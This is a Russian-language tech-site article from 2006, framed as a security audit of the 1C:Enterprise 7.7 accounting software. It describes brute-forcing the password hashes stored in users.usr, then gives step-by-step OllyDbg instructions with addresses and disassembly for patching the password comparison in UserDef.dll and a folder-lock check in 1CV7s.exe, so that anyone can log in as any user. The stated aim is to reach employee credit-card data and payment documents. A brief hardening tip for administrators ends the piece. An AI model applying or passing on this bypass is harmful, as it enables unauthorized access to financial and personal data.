Информационные технологииStfw.Ru 🔍

1C: Получаем доступ к бд с максимальными привилегиями

🕛 30.10.2006, 17:16
ЭТА ИСТОРИЯ НАЧАЛАСЬ ОЧЕНЬ ПРОСТО. В ОДИН ПРЕКРАСНЫЙ ДЕНЬ ШЕФ ВЫЗВАЛ МЕНЯ К СЕБЕ И ПОСТАВИЛ ЗАДАЧУ: ПРОВЕСТИ АУДИТ БЕЗОПАСНОСТИ 1С И ПОПЫТАТЬСЯ ПОЛУЧИТЬ ДОСТУП К БАЗЕ ДАННЫХ, ЖЕЛАТЕЛЬНО С МАКСИМАЛЬНЫМИ ПРИВИЛЕГИЯМИ

Мой опыт 1С-ника показывает, что злоумышленники в основном пытаются ломать файл users.usr. Он находится по адресу: каталог_с_базой\usrdef \users.usr и хранит информацию о пользователях и их паролях. Пароли хранятся в виде хэшей: MD5(pass), поэтому просмотреть пароль просто так не выйдет. Существуют брутфорсеры MD5 (именно для 1С), а также есть возможность скинуть пароли всех пользователей. Однако сброс всех паролей мгновенно вызовет подозрение админов или бухгалтеров. Я протестировал такой брутфорсер и пришел к выводу, что числовые пароли взламываются очень быстро, но достаточно подключить символы и ограничить длину 8-10 символами - и уже становится невесело, так как дело попахивает долгими часами перебора. Ты скажешь: «Да бухгалтеры для пароля всегда свой год рождения пишут!» В чем-то правильно, но… Последние тенденции в корпорациях и даже мелком бизнесе показывают стремление защитить информацию (данные о клиентах, поставщиках, оборотах предприятия) от кражи и от глаз весьма заинтересованных конкурентов. В борьбе за сохранность данных создаются службы безопасности, вводятся административные меры наказания, минимальные требования к длине пароля и т.п. К примеру, в фирме, где работал я, мы сами задавали пароли и ставили вот такие условия:

Длина = восемь символов

Цифры + буквы + одна заглавная в английской раскладке.

[для промежуточного вывода] могу сказать, что атака на users.usr имеет несколько недостатков:

1 ПОДБОР ПАРОЛЯ ПЕРЕБОРОМ НЕ ВСЕГДА ОСУЩЕСТВИМ В КОРОТКИЕ СРОКИ, ОСОБЕННО ЕСЛИ ОСТАЛОСЬ РАБОТАТЬ ДВЕ НЕДЕЛИ :).

2 ВРЯД ЛИ ПОЛУЧИТСЯ УДАЛИТЬ ФАЙЛ. ЛЮБОЙ НОРМАЛЬНЫЙ АДМИН ПОСТАВИТ НА ЭТОТ ФАЙЛ АТРИБУТ READONLY (ТОЛЬКО ДЛЯ ЧТЕНИЯ). И ЕСТЕСТВЕННО, ПОДМЕНИТЬ ХЭШ-СУММУ ТОЖЕ НЕ ПОЛУЧИТСЯ.

Ну что ж, придется поступить хитрым образом. Учитывая свой опыт реверсера, я решил поковыряться в 1CV7s.exe (25-й релиз). Как выяснилось, не зря. Буква S в конце имени файла указывает на SQL-версию, локальную и сетевую. Мой выбор пал именно на нее, одну из самых распространенных, неслучайно: она превосходно работает на Терминале, поддерживает как DBF, так и SQL-базы, освобождает от головной боли насчет электронных ключей (кто видел голубые экраны при установке эмуляторов хаспов, тот поймет).

[перейдем к практике] Представим ситуацию, когда есть база данных по сотрудникам, помимо личных данных в ней хранится информация по кредитным картам. Конечно, мы не допущены к справочнику доступа, и, соответственно, нет доступа к документам на перевод/начисление денежных средств. Пора получить его. Первое, что приходит в голову, - убрать проверку пароля и входить под любым пользователем.

Запускаем отладчик (я использовал OllyDbg), в списке выбираем нужную базу и пытаемся авторизоваться как «Админ» (рис. 1). Получаем сообщение об ошибке (рис. 2.).

Пойдем по классической схеме, ставим брэйкпоинт на MessageBoxA (с учетом регистра): BP MessageBoxA.

Теперь на кнопку ОК, и мы вывалились в:

77D2BC33 > 833D E>CMP [DWORD DS:77D5F2E4],0

77D2BC3A 0F85 F>JNZ USER32.77D3C23E

Это системная библиотека USER32.dll, а защита находится в коде самой программы (долго прыгать по библиотекам сейчас не время, так как лишние мучения в 1С’ке, многослойном пироге с кучей используемых библиотек, ни к чему). Мои исследования привели к библиотеке: UserDef.dll. Имя Dll совпадает с названием каталога, в котором хранятся пароли пользователей. Вполне логично, что разработчики вынесли авторизацию пользователей именно в нее. Итак, <Ctrl>+<F9>, закроем сообщение об ошибке ОК. Теперь ставим бряк на секцию кода dll, чтобы не прыгать по библиотекам и не терять свое время. Теперь <F9> - и мы находимся тут:

260296AB E8 C4B>CALL <JMP.&MFC42.#1199> ; Вывод сообщения об ошибке

260296B0 68 2CF>PUSH USERDEF.2604F62C

260296B5 8BCF MOV ECX,EDI

Поднимемся чуть выше:

26029691 50 PUSH EAX ; хэш от настоящего пароля

26029692 51 PUSH ECX ; хэш от пароля, введенного нами

26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>] ; msvcrt._mbscmp ; эта процедура сравнивает две строки и возвращает в регистре EAX ноль, если строки равны, и -1, если строки различаются

26029699 83C4 0>ADD ESP,8

2602969C 85C0 TEST EAX,EAX

2602969E 5D POP EBP

2602969F 5B POP EBX

260296A0 74 23 JE SHORT USERDEF.260296C5 ; если строки равны, продолжаем работу

Итак, мы можем внести изменения в работу этого участка и заставить 1С думать, что ты вводишь пароль. Один из рецептов - передать в процедуру сравнения указатели на одну и ту же строку:

26029691 50 PUSH EAX ; хэш от настоящего пароля

26029692 50 PUSH EAX ; хэш от настоящего пароля

26029693 FF15 2>CALL [DWORD DS:<&MSVCRT._mbscmp>]

Теперь функция всегда будет возвращать верное значение и мы сможем зайти под любым пользователем. После замены 1С запустит тебя в базу без нареканий. Однако, например, в моей фирме для каждого пользователя заведен специальный каталог, и если пользователь с таким же именем сидит в базе, то мы увидим табличку с рисунка 3.

[использование личных каталогов] - достаточно распространенное явление. Значит, мы должны убрать текущую проверку. Действуем по указанной выше схеме (бряк на MessageBoxA и несколько раз на <Ctrl>+<F9>, пока не окажешься в самом 1Cv7S.exe).

00409075 . E8 6C>CALL <JMP.&MFC42.#800>

0040907A . 8A45 >MOV AL,[BYTE SS:EBP-61]

0040907D . 84C0 TEST AL,AL

0040907F . 74 13 JE SHORT 1CV7s.00409094 ; если каталог не занят, прыгаем

00409081 . 6A FF PUSH -1

00409083 . 6A 10 PUSH 10

00409085 . 68 6C>PUSH 706C

0040908A . E8 2D>CALL <JMP.&MFC42.#1199> вывод сообщения об ошибке

0040908F . E9 84>JMP 1CV7s.0040AF18

Естественно, поменяв переход, мы пропускаем проверку и оказываемся в базе.

Теперь можно вытворять в базе что угодно, если, конечно, права пользователя позволяют.

[в этой статье] я рассмотрел версию 1С 7.7. Почему не восьмерку? Во-первых, 7.7 до сих пор очень распространена, 95% моих знакомых пользуются именно ей. Во-вторых, восьмерка не менее дырявая, чем 7.7. К такому выводу я пришел посмотрев на подход 1С к безопасности продуктов. Чуть позже проверим еще раз. Администраторам же советую использовать терминал с отключенным маппингом дисков или, при работе в обычном сетевом режиме, запускать 1С с правами другого пользователя (тогда не получится пропатчить чужой процесс), а на исполняемые файлы 1С однозначно ставить атрибут ReadOnly. Только не на всю папку, иначе она примется падать при запуске.

Информационная безопасность   Теги: 1С

Читать IT-новости в Telegram
Информационные технологии
Мы в соцсетях ✉